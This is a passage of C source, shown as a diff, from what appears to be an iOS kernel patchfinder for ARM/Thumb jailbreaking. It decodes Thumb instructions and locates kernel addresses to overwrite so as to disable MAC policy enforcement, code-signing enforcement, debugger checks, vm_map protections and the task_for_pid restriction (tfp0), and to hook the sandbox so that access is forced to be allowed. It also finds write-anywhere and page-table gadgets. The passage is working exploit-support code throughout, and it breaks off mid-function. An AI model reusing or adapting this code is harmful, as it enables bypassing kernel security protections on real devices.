if((*i & 0xFF00) == 0x4400) + return (*i & 7) | ((*i & 0x80) >> 4) ; + else if((*i & 0xFFE0) == 0xEB00) + return (*(i + 1) >> 8) & 0xF; + else + return 0; +} + +static int insn_add_reg_rn(uint16_t* i) +{ + if((*i & 0xFE00) == 0x1800) + return ((*i >> 3) & 7); + else if((*i & 0xFF00) == 0x4400) + return (*i & 7) | ((*i & 0x80) >> 4) ; + else if((*i & 0xFFE0) == 0xEB00) + return (*i & 0xF); + else + return 0; +} + +static int insn_add_reg_rm(uint16_t* i) +{ + if((*i & 0xFE00) == 0x1800) + return (*i >> 6) & 7; + else if((*i & 0xFF00) == 0x4400) + return (*i >> 3) & 0xF; + else if((*i & 0xFFE0) == 0xEB00) + return *(i + 1) & 0xF; + else + return 0; +} + +static int insn_is_movt(uint16_t* i) +{ + return (*i & 0xFBF0) == 0xF2C0 && (*(i + 1) & 0x8000) == 0; +} + +static int insn_movt_rd(uint16_t* i) +{ + return (*(i + 1) >> 8) & 0xF; +} + +static int insn_movt_imm(uint16_t* i) +{ + return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF); +} + +static int insn_is_mov_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x2000) + return 1; + else if((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return 1; + else if((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return 1; + else + return 0; +} + +static int insn_mov_imm_rd(uint16_t* i) +{ + if((*i & 0xF800) == 0x2000) + return (*i >> 8) & 7; + else if((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return (*(i + 1) >> 8) & 0xF; + else if((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return (*(i + 1) >> 8) & 0xF; + else + return 0; +} + +static int insn_mov_imm_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x2000) + return *i & 0xF; + else if((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); + else if((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF); + else + return 0; +} + +static int insn_is_cmp_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x2800) + return 1; + else if((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return 1; + else + return 0; +} + +static int insn_cmp_imm_rn(uint16_t* i) +{ + if((*i & 0xF800) == 0x2800) + return (*i >> 8) & 7; + else if((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return *i & 0xF; + else + return 0; +} + +static int insn_cmp_imm_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x2800) + return *i & 0xFF; + else if((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); + else + return 0; +} + +static int insn_is_and_imm(uint16_t* i) +{ + return (*i & 0xFBE0) == 0xF000 && (*(i + 1) & 0x8000) == 0; +} + +static int insn_and_imm_rn(uint16_t* i) +{ + return *i & 0xF; +} + +static int insn_and_imm_rd(uint16_t* i) +{ + return (*(i + 1) >> 8) & 0xF; +} + +static int insn_and_imm_imm(uint16_t* i) +{ + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); +} + +static int insn_is_push(uint16_t* i) +{ + if((*i & 0xFE00) == 0xB400) + return 1; + else if(*i == 0xE92D) + return 1; + else if(*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04) + return 1; + else + return 0; +} + +static int insn_push_registers(uint16_t* i) +{ + if((*i & 0xFE00) == 0xB400) + return (*i & 0x00FF) | ((*i & 0x0100) << 6); + else if(*i == 0xE92D) + return *(i + 1); + else if(*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04) + return 1 << ((*(i + 1) >> 12) & 0xF); + else + return 0; +} + +static int insn_is_preamble_push(uint16_t* i) +{ + return insn_is_push(i) && (insn_push_registers(i) & (1 << 14)) != 0; +} + +static int insn_is_str_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x6000) + return 1; + else if((*i & 0xF800) == 0x9000) + return 1; + else if((*i & 0xFFF0) == 0xF8C0) + return 1; + else if((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return 1; + else + return 0; +} + +static int insn_str_imm_postindexed(uint16_t* i) +{ + if((*i & 0xF800) == 0x6000) + return 1; + else if((*i & 0xF800) == 0x9000) + return 1; + else if((*i & 0xFFF0) == 0xF8C0) + return 1; + else if((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 10) & 1; + else + return 0; +} + +static int insn_str_imm_wback(uint16_t* i) +{ + if((*i & 0xF800) == 0x6000) + return 0; + else if((*i & 0xF800) == 0x9000) + return 0; + else if((*i & 0xFFF0) == 0xF8C0) + return 0; + else if((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 8) & 1; + else + return 0; +} + +static int insn_str_imm_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x6000) + return (*i & 0x07C0) >> 4; + else if((*i & 0xF800) == 0x9000) + return (*i & 0xFF) << 2; + else if((*i & 0xFFF0) == 0xF8C0) + return (*(i + 1) & 0xFFF); + else if((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) & 0xFF); + else + return 0; +} + +static int insn_str_imm_rt(uint16_t* i) +{ + if((*i & 0xF800) == 0x6000) + return (*i & 7); + else if((*i & 0xF800) == 0x9000) + return (*i >> 8) & 7; + else if((*i & 0xFFF0) == 0xF8C0) + return (*(i + 1) >> 12) & 0xF; + else if((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +static int insn_str_imm_rn(uint16_t* i) +{ + if((*i & 0xF800) == 0x6000) + return (*i >> 3) & 7; + else if((*i & 0xF800) == 0x9000) + return 13; + else if((*i & 0xFFF0) == 0xF8C0) + return (*i & 0xF); + else if((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*i & 0xF); + else + return 0; +} + +// Given an instruction, search backwards until an instruction is found matching the specified criterion. +static uint16_t* find_last_insn_matching(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* current_instruction, int (*match_func)(uint16_t*)) +{ + while((uintptr_t)current_instruction > (uintptr_t)kdata) + { + if(insn_is_32bit(current_instruction - 2) && !insn_is_32bit(current_instruction - 3)) + { + current_instruction -= 2; + } else + { + --current_instruction; + } + + if(match_func(current_instruction)) + { + return current_instruction; + } + } + + return NULL; +} + +// Given an instruction and a register, find the PC-relative address that was stored inside the register by the time the instruction was reached. +static uint32_t find_pc_rel_value(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, int reg) +{ + // Find the last instruction that completely wiped out this register + int found = 0; + uint16_t* current_instruction = insn; + while((uintptr_t)current_instruction > (uintptr_t)kdata) + { + if(insn_is_32bit(current_instruction - 2)) + { + current_instruction -= 2; + } else + { + --current_instruction; + } + + if(insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) + { + found = 1; + break; + } + + if(insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) + { + found = 1; + break; + } + } + + if(!found) + return 0; + + // Step through instructions, executing them as a virtual machine, only caring about instructions that affect the target register and are commonly used for PC-relative addressing. + uint32_t value = 0; + while((uintptr_t)current_instruction < (uintptr_t)insn) + { + if(insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) + { + value = insn_mov_imm_imm(current_instruction); + } else if(insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) + { + value = *(uint32_t*)(kdata + (((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction))); + } else if(insn_is_movt(current_instruction) && insn_movt_rd(current_instruction) == reg) + { + value |= insn_movt_imm(current_instruction) << 16; + } else if(insn_is_add_reg(current_instruction) && insn_add_reg_rd(current_instruction) == reg) + { + if(insn_add_reg_rm(current_instruction) != 15 || insn_add_reg_rn(current_instruction) != reg) + { + // Can't handle this kind of operation! + return 0; + } + + value += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + return value; +} + +// Find PC-relative references to a certain address (relative to kdata). This is basically a virtual machine that only cares about instructions used in PC-relative addressing, so no branches, etc. +static uint16_t* find_literal_ref(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, uint32_t address) +{ + uint16_t* current_instruction = insn; + uint32_t value[16]; + memset(value, 0, sizeof(value)); + + while((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) + { + if(insn_is_mov_imm(current_instruction)) + { + value[insn_mov_imm_rd(current_instruction)] = insn_mov_imm_imm(current_instruction); + } else if(insn_is_ldr_literal(current_instruction)) + { + uintptr_t literal_address = (uintptr_t)kdata + ((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction); + if(literal_address >= (uintptr_t)kdata && (literal_address + 4) <= ((uintptr_t)kdata + ksize)) + { + value[insn_ldr_literal_rt(current_instruction)] = *(uint32_t*)(literal_address); + } + } else if(insn_is_movt(current_instruction)) + { + value[insn_movt_rd(current_instruction)] |= insn_movt_imm(current_instruction) << 16; + } else if(insn_is_add_reg(current_instruction)) + { + int reg = insn_add_reg_rd(current_instruction); + if(insn_add_reg_rm(current_instruction) == 15 && insn_add_reg_rn(current_instruction) == reg) + { + value[reg] += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4; + if(value[reg] == address) + { + return current_instruction; + } + } + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + return NULL; +} + +struct find_search_mask +{ + uint16_t mask; + uint16_t value; +}; + +// Search the range of kdata for a series of 16-bit values that match the search mask. +static uint16_t* find_with_search_mask(uint32_t region, uint8_t* kdata, size_t ksize, int num_masks, const struct find_search_mask* masks) +{ + uint16_t* end = (uint16_t*)(kdata + ksize - (num_masks * sizeof(uint16_t))); + uint16_t* cur; + for(cur = (uint16_t*) kdata; cur <= end; ++cur) + { + int matched = 1; + int i; + for(i = 0; i < num_masks; ++i) + { + if((*(cur + i) & masks[i].mask) != masks[i].value) + { + matched = 0; + break; + } + } + + if(matched) + return cur; + } + + return NULL; +} + +static uint32_t find_memmove_arm(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x00, 0x00, 0x52, 0xE3, 0x01, 0x00, 0x50, 0x11, 0x1E, 0xFF, 0x2F, 0x01, 0xB1, 0x40, 0x2D, 0xE9}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)); + if(!ptr) + return 0; + + return ((uintptr_t)ptr) - ((uintptr_t)kdata); +} + +static uint32_t find_memmove_thumb(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x03, 0x46, 0x08, 0x46, 0x19, 0x46, 0x80, 0xB5}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)); + if(!ptr) + return 0; + + return ((uintptr_t)ptr + 6 + 1) - ((uintptr_t)kdata); +} + +// Helper gadget. +uint32_t find_memmove(uint32_t region, uint8_t* kdata, size_t ksize) +{ + uint32_t thumb = find_memmove_thumb(region, kdata, ksize); + if(thumb) + return thumb; + + return find_memmove_arm(region, kdata, ksize); +} + +// Use for write-anywhere gadget. +uint32_t find_str_r1_r2_bx_lr(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x11, 0x60, 0x70, 0x47}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)) + 1; + if(!ptr) + return 0; + + return ((uintptr_t)ptr) - ((uintptr_t)kdata); +} + +// Helper gadget for changing page tables / patching. +uint32_t find_flush_dcache(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x00, 0x00, 0xA0, 0xE3, 0x5E, 0x0F, 0x07, 0xEE}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)); + if(!ptr) + return 0; + + return ((uintptr_t)ptr) - ((uintptr_t)kdata); +} + +// Helper gadget for changing page tables. +uint32_t find_invalidate_tlb(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x00, 0x00, 0xA0, 0xE3, 0x17, 0x0F, 0x08, 0xEE}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)); + if(!ptr) + return 0; + + return ((uintptr_t)ptr) - ((uintptr_t)kdata); +} + +// This points to kernel_pmap. Use that to change the page tables if necessary. +uint32_t find_pmap_location(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find location of the pmap_map_bd string. + uint8_t* pmap_map_bd = memmem(kdata, ksize, "\"pmap_map_bd\"", sizeof("\"pmap_map_bd\"")); + if(!pmap_map_bd) + return 0; + + // Find a reference to the pmap_map_bd string. That function also references kernel_pmap + uint16_t* ptr = find_literal_ref(region, kdata, ksize, (uint16_t*) kdata, (uintptr_t)pmap_map_bd - (uintptr_t)kdata); + if(!ptr) + return 0; + + // Find the end of it. + const uint8_t search_function_end[] = {0xF0, 0xBD}; + ptr = memmem(ptr, ksize - ((uintptr_t)ptr - (uintptr_t)kdata), search_function_end, sizeof(search_function_end)); + if(!ptr) + return 0; + + // Find the last BL before the end of it. The third argument to it should be kernel_pmap + uint16_t* bl = find_last_insn_matching(region, kdata, ksize, ptr, insn_is_bl); + if(!bl) + return 0; + + // Find the last LDR R2, [R*] before it that's before any branches. If there are branches, then we have a version of the function that assumes kernel_pmap instead of being passed it. + uint16_t* ldr_r2 = NULL; + uint16_t* current_instruction = bl; + while((uintptr_t)current_instruction > (uintptr_t)kdata) + { + if(insn_is_32bit(current_instruction - 2) && !insn_is_32bit(current_instruction - 3)) + { + current_instruction -= 2; + } else + { + --current_instruction; + } + + if(insn_ldr_imm_rt(current_instruction) == 2 && insn_ldr_imm_imm(current_instruction) == 0) + { + ldr_r2 = current_instruction; + break; + } else if(insn_is_b_conditional(current_instruction) || insn_is_b_unconditional(current_instruction)) + { + break; + } + } + + // The function has a third argument, which must be kernel_pmap. Find out its address + if(ldr_r2) + return find_pc_rel_value(region, kdata, ksize, ldr_r2, insn_ldr_imm_rn(ldr_r2)); + + // The function has no third argument, Follow the BL. + uint32_t imm32 = insn_bl_imm32(bl); + uint32_t target = ((uintptr_t)bl - (uintptr_t)kdata) + 4 + imm32; + if(target > ksize) + return 0; + + // Find the first PC-relative reference in this function. + int found = 0; + int rd; + current_instruction = (uint16_t*)(kdata + target); + while((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) + { + if(insn_is_add_reg(current_instruction) && insn_add_reg_rm(current_instruction) == 15) + { + found = 1; + rd = insn_add_reg_rd(current_instruction); + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + if(!found) + return 0; + + return find_pc_rel_value(region, kdata, ksize, current_instruction, rd); +} + +// Write 0 here. +uint32_t find_proc_enforce(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find the description. + uint8_t* proc_enforce_description = memmem(kdata, ksize, "Enforce MAC policy on process operations", sizeof("Enforce MAC policy on process operations")); + if(!proc_enforce_description) + return 0; + + // Find what references the description. + uint32_t proc_enforce_description_address = region + ((uintptr_t)proc_enforce_description - (uintptr_t)kdata); + uint8_t* proc_enforce_description_ptr = memmem(kdata, ksize, &proc_enforce_description_address, sizeof(proc_enforce_description_address)); + if(!proc_enforce_description_ptr) + return 0; + + // Go up the struct to find the pointer to the actual data element. + uint32_t* proc_enforce_ptr = (uint32_t*)(proc_enforce_description_ptr - (5 * sizeof(uint32_t))); + return *proc_enforce_ptr - region; +} + +// Write 1 here. +uint32_t find_cs_enforcement_disable_amfi(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find a function referencing cs_enforcement_disable_amfi + const uint8_t search_function[] = {0x20, 0x68, 0x40, 0xF4, 0x40, 0x70, 0x20, 0x60, 0x00, 0x20, 0x90, 0xBD}; + uint8_t* ptr = memmem(kdata, ksize, search_function, sizeof(search_function)); + if(!ptr) + return 0; + + // Only LDRB in there should try to dereference cs_enforcement_disable_amfi + uint16_t* ldrb = find_last_insn_matching(region, kdata, ksize, (uint16_t*) ptr, insn_is_ldrb_imm); + if(!ldrb) + return 0; + + // Weird, not the right one. + if(insn_ldrb_imm_imm(ldrb) != 0 || insn_ldrb_imm_rt(ldrb) > 12) + return 0; + + // See what address that LDRB is dereferencing + return find_pc_rel_value(region, kdata, ksize, ldrb, insn_ldrb_imm_rn(ldrb)); +} + +// Write 1 here. +uint32_t find_cs_enforcement_disable_kernel(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find function referencing cs_enforcement_disable_kernel + const struct find_search_mask search_masks[] = + { + {0xF8FF, 0x2800}, // CMP Rx, #0 + {0xFFFF, 0xBF04}, // ITT EQ + {0xFFF0, 0xF080}, // EOR Rx, Ry, #1 + {0xF0FF, 0x0001}, + {0xF8FF, 0x2800}, // CMP Rx, #0 + {0xFF00, 0xD100} // BNE x + }; + + uint16_t* insn = find_with_search_mask(region, kdata, ksize, sizeof(search_masks) / sizeof(*search_masks), search_masks); + if(!insn) + return 0; + + if(!insn_is_cmp_imm(insn) || insn_cmp_imm_imm(insn) != 0) + return 0; + + // The first cmp is using the value of cs_enforcement_disable_kernel. + int rn = insn_cmp_imm_rn(insn); + + // Find the last LDR that loads the value the CMP uses. + uint16_t* ldr_rn = NULL; + uint16_t* ldr = insn; + while(!ldr_rn) + { + ldr = find_last_insn_matching(region, kdata, ksize, ldr, insn_is_ldr_imm); + if(!ldr) + return 0; + + if(insn_ldr_imm_rt(ldr) == rn && insn_ldr_imm_imm(ldr) == 0) + { + ldr_rn = ldr; + break; + } + } + + // Find the address that LDR is deferencing. + return find_pc_rel_value(region, kdata, ksize, ldr_rn, insn_ldr_imm_rn(ldr_rn)); +} + +// Change this to non-zero. +uint32_t find_i_can_has_debugger_1(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find function referencing i_can_has_debugger_1: PE_reboot_on_panic + const struct find_search_mask search_masks[] = + { + {0xFFF0, 0xF000}, // AND Rx, Ry, #4 + {0xF0FF, 0x0004}, + {0xFFFF, 0x2000}, // MOV R0, #0 + {0xF8FF, 0x2800}, // CMP Rx, #0 + {0xFFFF, 0xBF08}, // IT EQ + {0xFFFF, 0x2001} // MOVEQ R0, #1 + }; + + uint16_t* insn = find_with_search_mask(region, kdata, ksize, sizeof(search_masks) / sizeof(*search_masks), search_masks); + if(!insn) + return 0; + + // That AND masks i_can_has_debugger_2, but the CMP before that is on i_can_has_debugger_1. Find it. + uint16_t* cmp = find_last_insn_matching(region, kdata, ksize, insn, insn_is_cmp_imm); + if(!cmp) + return 0; + + int rn = insn_cmp_imm_rn(cmp); + + // Find the last LDR that loads the value the CMP uses. + uint16_t* ldr_rn = NULL; + uint16_t* ldr = cmp; + while(!ldr_rn) + { + ldr = find_last_insn_matching(region, kdata, ksize, ldr, insn_is_ldr_imm); + if(!ldr) + return 0; + + if(insn_ldr_imm_rt(ldr) == rn && insn_ldr_imm_imm(ldr) == 0) + { + ldr_rn = ldr; + break; + } + } + + // Find the address that LDR is deferencing. + return find_pc_rel_value(region, kdata, ksize, ldr_rn, insn_ldr_imm_rn(ldr_rn)); +} + +// Change this to what you want the value to be (non-zero appears to work). +uint32_t find_i_can_has_debugger_2(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find function referencing i_can_has_debugger_1: PE_reboot_on_panic + const struct find_search_mask search_masks[] = + { + {0xFFF0, 0xF000}, // AND Rx, Ry, #4 + {0xF0FF, 0x0004}, + {0xFFFF, 0x2000}, // MOV R0, #0 + {0xF8FF, 0x2800}, // CMP Rx, #0 + {0xFFFF, 0xBF08}, // IT EQ + {0xFFFF, 0x2001} // MOVEQ R0, #1 + }; + + uint16_t* insn = find_with_search_mask(region, kdata, ksize, sizeof(search_masks) / sizeof(*search_masks), search_masks); + if(!insn) + return 0; + + // Make sure we have the right function. + if(!insn_is_and_imm(insn) || !insn_is_cmp_imm(insn + 3) || insn_and_imm_rd(insn) != insn_cmp_imm_rn(insn + 3) || insn_and_imm_imm(insn) != 4) + return 0; + + // That AND masks i_can_has_debugger_2. Find the last LDR that loads the value the AND uses. + int rn = insn_and_imm_rn(insn); + + // Find the last LDR that loads the value the CMP uses. That load actually uses an address dereferenced from a pointer to i_can_has_debugger_2. + uint16_t* ldr_rn = NULL; + uint16_t* ldr = insn; + while(!ldr_rn) + { + ldr = find_last_insn_matching(region, kdata, ksize, ldr, insn_is_ldr_imm); + if(!ldr) + return 0; + + if(insn_ldr_imm_rt(ldr) == rn && insn_ldr_imm_imm(ldr) == 0) + { + ldr_rn = ldr; + break; + } + } + + // Find the last LDR that loads the value the last LDR used. + rn = insn_ldr_imm_rn(ldr_rn); + ldr = ldr_rn; + ldr_rn = NULL; + while(!ldr_rn) + { + ldr = find_last_insn_matching(region, kdata, ksize, ldr, insn_is_ldr_imm); + if(!ldr) + return 0; + + if(insn_ldr_imm_rt(ldr) == rn && insn_ldr_imm_imm(ldr) == 0) + { + ldr_rn = ldr; + break; + } + } + + // Find the address that LDR is deferencing. This is p_i_can_has_debugger_2. + uint32_t p_i_can_has_debugger_2 = find_pc_rel_value(region, kdata, ksize, ldr_rn, insn_ldr_imm_rn(ldr_rn)); + + // Dereferencing that should find i_can_has_debugger_2 + uint32_t i_can_has_debugger_2 = *(uint32_t*)(kdata + p_i_can_has_debugger_2); + + // Get rid of the slide. + return i_can_has_debugger_2 - region; +} + +// NOP out the conditional branch here. +uint32_t find_vm_map_enter_patch(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const struct find_search_mask search_masks[] = + { + {0xFFF0, 0xF000}, // AND Rx, Ry, #6 + {0xF0FF, 0x0006}, + {0xF8FF, 0x2806} // CMP Rx, #6 + }; + + uint16_t* insn = find_with_search_mask(region, kdata, ksize, sizeof(search_masks) / sizeof(*search_masks), search_masks); + if(!insn) + return 0; + + insn += 3; + + return ((uintptr_t)insn) - ((uintptr_t)kdata); +} + +// Change the conditional branch here to an unconditional branch. +uint32_t find_vm_map_protect_patch(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x08, 0xBF, 0x10, 0xF0, 0x80, 0x4F}; + uint16_t* insn = memmem(kdata, ksize, search, sizeof(search)); + if(!insn) + return 0; + + insn += 3; + + return ((uintptr_t)insn) - ((uintptr_t)kdata); +} + +// Change the conditional branch here to an unconditional branch. +uint32_t find_tfp0_patch(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find the task_for_pid function + const uint8_t search[] = {0x02, 0x46, 0x30, 0x46, 0x21, 0x46, 0x53, 0x46}; + uint16_t* fn = memmem(kdata, ksize, search, sizeof(search)); + if(!fn) + return 0; + + // Find the beginning of it + uint16_t* fn_start = find_last_insn_matching(region, kdata, ksize, fn, insn_is_preamble_push); + if(!fn_start) + return 0; + + // Find where something is checked to be 0 (the PID check) + int found = 0; + uint16_t* current_instruction = fn_start; + while((uintptr_t)current_instruction < (uintptr_t)fn) + { + if(insn_is_cmp_imm(current_instruction) && insn_cmp_imm_imm(current_instruction) == 0) + { + found = 1; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + if(!found) + return 0; + + // Find the next conditional branch + found = 0; + while((uintptr_t)current_instruction < (uintptr_t)fn) + { + // The unconditional branch is to detect an already patched function and still return the right address. + if(insn_is_b_conditional(current_instruction) || insn_is_b_unconditional(current_instruction)) + { + found = 1; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + if(!found) + return 0; + + return ((uintptr_t)current_instruction) - ((uintptr_t)kdata); +} + +// Write this with a jump to the sandbox hook, then write a trampoline back to just after the jump you wrote here. Sandbox hook should look at the path in *(r3 + 0x14) and force +// it to be allowed if it is outside of /private/var/mobile, or inside of /private/var/mobile/Library/Preferences but not /private/var/mobile/Library/Preferences/com.apple* +// To force it to allow, *r0 = 0 and *(r0 + 0x4) = 0x18. If not, just call the original function via the trampoline. +uint32_t find_sb_patch(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find location of the "control_name" string. + uint8_t* control_name = memmem(kdata, ksize, "control_name", sizeof("control_name")); + if(!control_name) + return 0; + + // Find a reference to the "control_name" string. + uint16_t* ref = find_literal_ref(region, kdata, ksize, (uint16_t*) kdata, (uintptr_t)control_name - (uintptr_t)kdata); + if(!ref) + return 0; + + // Find the start of the function referencing "control_name" + uint16_t* fn_start = ref; + while(1) + { + fn_start = find_last_insn_matching(region, kdata, ksize, fn_start, insn_is_push); + if(!fn_start) + return 0; + + uint16_t registers = insn_push_registers(fn_start); + // We match PUSH {R0, R1} as well to detect an already patched version. + if((registers & (1 << 14)) != 0 || (registers & (1 << 0 | 1 << 1)) == (1 << 0 | 1 << 1)) + break; + } + + return ((uintptr_t)fn_start) - ((uintptr_t)kdata); +} + +// Utility function, necessary for the sandbox hook. +uint32_t find_vn_getpath(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find a string inside the vn_getpath function + const uint8_t search[] = {0x01, 0x20, 0xCD, 0xE9, 0x00, 0x01, 0x28, 0x46, 0x41, 0x46, 0x32, 0x46, 0x23, 0x46}; + uint16_t* fn = memmem(kdata, ksize, search, sizeof(search)); + if(!fn) + return 0; + + // Find the start of the function + uint16_t* fn_start = find_last_insn_matching(region, kdata, ksize, fn, insn_is_preamble_push); + if(!fn_start) + return 0; + + return ((uintptr_t)fn_start | 1) - ((uintptr_t)kdata); +} + +// Utility function, necessary for the sandbox hook. +uint32_t find_memcmp(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Okay, search is actually the entire text of memcmp. This is in order to distinguish it from bcmp. However, memcmp is the same as bcmp if you only care about equality. + const uint8_t search[] = + { + 0x00, 0x23, 0x62, 0xB1, 0x91, 0xF8, 0x00, 0x90, + 0x03, 0x78, 0x4B, 0x45, 0x09, 0xD1, 0x01, 0x3A, + 0x00, 0xF1, 0x01, 0x00, 0x01, 0xF1, 0x01, 0x01, + 0x4F, 0xF0, 0x00, 0x03, 0xF2, 0xD1, 0x18, 0x46, + 0x70, 0x47, 0xA3, 0xEB, 0x09, 0x03, 0x18, 0x46, + 0x70, 0x47 + }; + + void* ptr = memmem(kdata, ksize, search, sizeof(search)) + 1; + if(!ptr) + return 0; + + return ((uintptr_t)ptr | 1) - ((uintptr_t)kdata); +} + +// Dereference this, add 0x38 to the resulting pointer, and write whatever boot-args are suitable to affect kern.bootargs. +uint32_t find_p_bootargs(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find location of the "BBBBBBBBGGGGGGGGRRRRRRRR" string. + uint8_t* pixel_format = memmem(kdata, ksize, "BBBBBBBBGGGGGGGGRRRRRRRR", sizeof("BBBBBBBBGGGGGGGGRRRRRRRR")); + if(!pixel_format) + return 0; + + // Find a reference to the "BBBBBBBBGGGGGGGGRRRRRRRR" string. + uint16_t* ref = find_literal_ref(region, kdata, ksize, (uint16_t*) kdata, (uintptr_t)pixel_format - (uintptr_t)kdata); + if(!ref) + return 0; + + // Find the beginning of the function + uint16_t* fn_start = find_last_insn_matching(region, kdata, ksize, ref, insn_is_preamble_push); + if(!fn_start) + return 0; + + // Find the first MOV Rx, #1. This is to eventually set PE_state as initialized + int found = 0; + uint16_t* current_instruction = fn_start; + while((uintptr_t)current_instruction < (uintptr_t)ref) + { + if(insn_is_mov_imm(current_instruction) && insn_mov_imm_imm(current_instruction) == 1) + { + found = 1; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + if(!found) + return 0; + + int reg = insn_mov_imm_rd(current_instruction); + + // This finds the STR Rx, [Ry] instrunction following that actually writes the #1. We will use Ry to find PE_state. + found = 0; + while((uintptr_t)current_instruction < (uintptr_t)ref) + { + if(insn_is_str_imm(current_instruction) && insn_str_imm_imm(current_instruction) == 0 + && insn_str_imm_postindexed(current_instruction) == 1 && insn_str_imm_wback(current_instruction) == 0 + && insn_str_imm_rt(current_instruction) == reg) + { + found = 1; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + // Now find the location of PE_state + uint32_t pe_state = find_pc_rel_value(region, kdata, ksize, current_instruction, insn_str_imm_rn(current_instruction)); + if(!pe_state) + return 0; + + // p_boot_args is 0x70 offset in that struct. + return pe_state + 0x70; +} + +// This gets the zone_page_table array in osfmk/kern/zalloc.c. Useful for diagnosing problems with the zone allocator. +uint32_t find_zone_page_table(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find location of a panic string used by the zone_page_table_expand function. + uint8_t* zone_page_table_expand = memmem(kdata, ksize, "\"zone_page_table_expand\"", sizeof("\"zone_page_table_expand\"")); + if(!zone_page_table_expand) + return 0; + + // Find a reference to the panic string + uint16_t* ref = find_literal_ref(region, kdata, ksize, (uint16_t*) kdata, (uintptr_t)zone_page_table_expand - (uintptr_t)kdata); + if(!ref) + return 0; + + // Find the beginning of the function + uint16_t* fn_start = find_last_insn_matching(region, kdata, 